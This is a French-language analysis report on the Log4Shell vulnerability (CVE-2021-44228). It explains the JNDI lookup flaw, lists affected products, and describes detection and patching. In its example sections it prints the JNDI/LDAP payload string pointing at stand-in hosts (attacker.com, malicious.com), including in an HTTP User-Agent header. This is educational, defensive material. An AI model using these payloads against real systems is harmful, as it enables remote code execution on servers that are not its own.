Rapport d'analyse Log4shell par Won Chi-hyeon de Igloo Corporation

Log4shell

CVE-2021-44228 Log4j est une bibliothèque open source gratuite de la fondation Apache, basée sur Java, utilisée pour enregistrer les logs de divers services Java. Elle inclut une fonctionnalité utilisant JNDI (Java Naming and Directory Interface) pour rechercher des ressources via LDAP sur le port 1389, permettant de référencer des données et des objets trouvés via JNDI Lookup.

Téléchargement de l'image Docker du serveur vulnérable

sudo git clone 
sudo docker build . -t vulnerable-app

Construit l'image Docker dans le répertoire actuel en la nommant vulnerable-app.

github.com/welk

Arrêter le serveur vulnérable inutilisé

docker ps -a   # Vérifier toutes les images Docker en cours d'exécution
docker container   # Vérifier l'ID du conteneur

Rapport d'analyse Log4Shell (CVE-2021-44228)

1. Aperçu

Log4Shell (CVE-2021-44228) est une vulnérabilité d'exécution de code à distance (RCE) découverte dans la bibliothèque Apache Log4j.
Un attaquant peut exécuter du code arbitraire à l'aide de charges utiles malveillantes, pouvant causer des dégâts considérables.

Ce rapport analyse le principe, l'impact, les cas d'exploitation, la détection et les méthodes de réponse à Log4Shell.

2. Présentation de la vulnérabilité

3. Principe de la vulnérabilité

Log4Shell exploite une vulnérabilité de la fonction de recherche JNDI (Java Naming and Directory Interface) permettant à un attaquant d'exécuter du code malveillant depuis un serveur distant.

3.1 Déroulement de l'attaque

1. L'attaquant transmet à l'application un message de log contenant une chaîne malveillante.
2. Lors de l'enregistrement du log, Log4j exécute une recherche JNDI.
3. JNDI interroge un serveur distant via LDAP, RMI, etc., pour obtenir des données.
4. Le serveur de l'attaquant charge et exécute une classe Java malveillante.
5. Exécution de code à distance (RCE).

3.2 Exemple de code d'attaque

L'attaquant peut exploiter la vulnérabilité simplement en faisant enregistrer la chaîne suivante dans les logs :

${jndi:ldap://attacker.com:1389/exploit}

4. Périmètre d'impact

La vulnérabilité Log4Shell a affecté de nombreuses entreprises et services utilisant Log4j.

4.1 Principaux services et systèmes vulnérables

• Services cloud : AWS, Google Cloud, Microsoft Azure
• Applications d'entreprise : Apache Struts, ElasticSearch, VMware vCenter
• Serveurs de jeux : Minecraft, Steam
• Applications web et serveurs variés : Spring Boot, Tomcat, etc.

5. Cas d'exploitation et exemples d'attaque

5.1 Attaque sur le serveur Minecraft

L'attaquant pouvait prendre le contrôle du serveur en saisissant la chaîne suivante dans le chat Minecraft :

복사
편집
${jndi:ldap://attacker.com:1389/exploit}

Le serveur enregistre cette chaîne dans les logs, déclenchant une recherche JNDI qui exécute le code malveillant depuis le serveur de l'attaquant.

5.2 Attaque sur une application web

Insertion de la charge utile malveillante dans des champs enregistrés dans les logs, comme User-Agent, Referer, X-Forwarded-For d'une requête HTTP. Exemple :

복사
편집
GET / HTTP/1.1
Host: victim.com
User-Agent: ${jndi:ldap://malicious.com:1389/exploit}

6. Détection et mesures de réponse

6.1 Méthodes de détection de la vulnérabilité

✅ Utilisation de scanners de sécurité

• log4j-scan
• log4shell-detector

✅ Vérification des fichiers de logs

• Si des motifs comme ${jndi:ldap://...} sont trouvés dans les logs, une réponse immédiate est nécessaire.

✅ Surveillance réseau

• Vérifier la présence de requêtes LDAP, RMI anormales.

6.2 Mesures de réponse

✅ Actions immédiates

• Mettre à jour vers Log4j 2.15.0 ou version ultérieure.
• Définir la variable d'environnement lors de l'exécution Java :

-Dlog4j2.formatMsgNoLookups=true

• Bloquer les motifs jndi:ldap:// dans les pare-feu et IDS/IPS.

✅ Mesures de sécurité à long terme

• Restreindre l'utilisation de JNDI et renforcer les politiques de sécurité.
• Appliquer un WAF (pare-feu applicatif Web).
• Effectuer des audits de sécurité réguliers et des scans de vulnérabilités.

7. Correctifs et solutions

8. Conclusion

Log4Shell (CVE-2021-44228) est considérée comme l'une des vulnérabilités de sécurité les plus graves de ces dernières années. ✅ Il est essentiel de corriger rapidement les systèmes vulnérables et d'effectuer une surveillance de sécurité continue. ✅ Toutes les applications utilisant Log4j doivent faire l'objet d'un audit de sécurité.

9. Références

• Avis de sécurité officiel d'Apache Log4j
• Base de données nationale des vulnérabilités NIST (CVE-2021-44228)
• log4j-scan (GitHub)